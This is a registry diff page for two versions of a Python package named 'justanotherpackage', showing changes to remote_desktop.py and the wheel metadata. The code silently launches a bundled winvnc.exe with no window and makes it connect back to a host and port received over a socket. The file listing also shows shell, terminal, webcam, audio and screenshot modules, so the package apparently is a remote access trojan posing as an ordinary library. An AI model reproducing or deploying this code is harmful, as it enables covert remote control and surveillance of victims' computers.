justanotherpackage 0.2.3__py3-none-any.whl → 0.2.5__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- justanotherpackage/features/remote_desktop.py +30 -19
- {justanotherpackage-0.2.3.dist-info → justanotherpackage-0.2.5.dist-info}/METADATA +1 -1
- {justanotherpackage-0.2.3.dist-info → justanotherpackage-0.2.5.dist-info}/RECORD +5 -5
- {justanotherpackage-0.2.3.dist-info → justanotherpackage-0.2.5.dist-info}/WHEEL +0 -0
- {justanotherpackage-0.2.3.dist-info → justanotherpackage-0.2.5.dist-info}/top_level.txt +0 -0
@@ -6,40 +6,51 @@ import os
|
|
6
6
|
import json
|
7
7
|
|
8
8
|
def find_process_by_exe(file_name):
|
9
|
-
|
10
|
-
|
9
|
+
try:
|
10
|
+
for proc in psutil.process_iter(['pid', 'exe']):
|
11
11
|
if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
|
12
12
|
return proc.info['pid']
|
13
|
-
|
14
|
-
|
13
|
+
except (psutil.AccessDenied, psutil.NoSuchProcess):
|
14
|
+
pass
|
15
15
|
return None
|
16
16
|
|
17
|
-
def start_remote_desktop(
|
17
|
+
def start_remote_desktop(data, HOST, client_socket):
|
18
18
|
try:
|
19
|
-
port = data
|
19
|
+
port = data.get("port")
|
20
|
+
if not port:
|
21
|
+
raise ValueError("Port not provided in data")
|
22
|
+
|
20
23
|
remote_pid = find_process_by_exe("winvnc.exe")
|
21
24
|
program_path = os.path.join(
|
22
25
|
os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
|
23
26
|
)
|
24
27
|
|
25
28
|
if not remote_pid:
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
29
|
+
try:
|
30
|
+
subprocess.Popen(
|
31
|
+
[program_path],
|
32
|
+
shell=True,
|
33
|
+
creationflags=subprocess.CREATE_NO_WINDOW
|
30
34
|
)
|
31
|
-
|
35
|
+
time.sleep(5)
|
36
|
+
except Exception as e:
|
37
|
+
raise RuntimeError(f"Failed to start winvnc.exe: {e}")
|
32
38
|
|
33
39
|
remote_pid = find_process_by_exe("winvnc.exe")
|
34
|
-
|
35
40
|
if remote_pid:
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
41
|
+
try:
|
42
|
+
command = [program_path, "-connect", f"{HOST}:{port}"]
|
43
|
+
subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
|
44
|
+
message = "From Remote: Remote Desktop Started"
|
45
|
+
except Exception as e:
|
46
|
+
message = f"From Remote: Failed to connect remote desktop - {e}"
|
47
|
+
else:
|
48
|
+
message = "From Remote: winvnc.exe process not found after starting"
|
49
|
+
|
50
|
+
client_socket.sendall(json.dumps({"logger": message}).encode())
|
40
51
|
|
41
52
|
except (ConnectionError, ConnectionResetError):
|
42
|
-
pass
|
53
|
+
pass
|
43
54
|
except Exception as e:
|
44
|
-
|
45
|
-
client_socket.sendall(json.dumps({"logger":
|
55
|
+
error_message = f"From Remote: {str(e)}"
|
56
|
+
client_socket.sendall(json.dumps({"logger": error_message}).encode())
|
@@ -4,7 +4,7 @@ justanotherpackage/connect.py,sha256=uEZGlYNDqt-kFTdzVVBGUi6uMy9ClN8pdd5WGVXIFlA
|
|
4
4
|
justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
|
5
5
|
justanotherpackage/features/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
6
6
|
justanotherpackage/features/audio.py,sha256=9dhyGGNhlWaiYbgEK1c19mckqDYyKwLKALTLMhQpQSg,1033
|
7
|
-
justanotherpackage/features/remote_desktop.py,sha256=
|
7
|
+
justanotherpackage/features/remote_desktop.py,sha256=R_zxX_tJolFTGrUKZ5UghNN9F1Qzo_oyT8Ek4m4I26E,2009
|
8
8
|
justanotherpackage/features/screenshot.py,sha256=FcusDnKBADNFenEp47aJ9ZGYDI8gaq_V9jl4kXeSTDo,941
|
9
9
|
justanotherpackage/features/terminal.py,sha256=_6II5j_1Y46DuYfcbA4pFiLpNn7BcGBpse2sf-R8XtA,852
|
10
10
|
justanotherpackage/features/webcam.py,sha256=QUP1ull7G7sroSwi6gebekm5osMT_c54ZSYYFc7Nuv8,1438
|
@@ -17,7 +17,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
|
|
17
17
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
|
18
18
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
|
19
19
|
justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
|
20
|
-
justanotherpackage-0.2.
|
21
|
-
justanotherpackage-0.2.
|
22
|
-
justanotherpackage-0.2.
|
23
|
-
justanotherpackage-0.2.
|
20
|
+
justanotherpackage-0.2.5.dist-info/METADATA,sha256=smC-2Y7bkmfQiqiXzkisD_FuZqun74MtFeBR0A9PSsk,115
|
21
|
+
justanotherpackage-0.2.5.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
|
22
|
+
justanotherpackage-0.2.5.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
|
23
|
+
justanotherpackage-0.2.5.dist-info/RECORD,,
|
File without changes
|
File without changes
|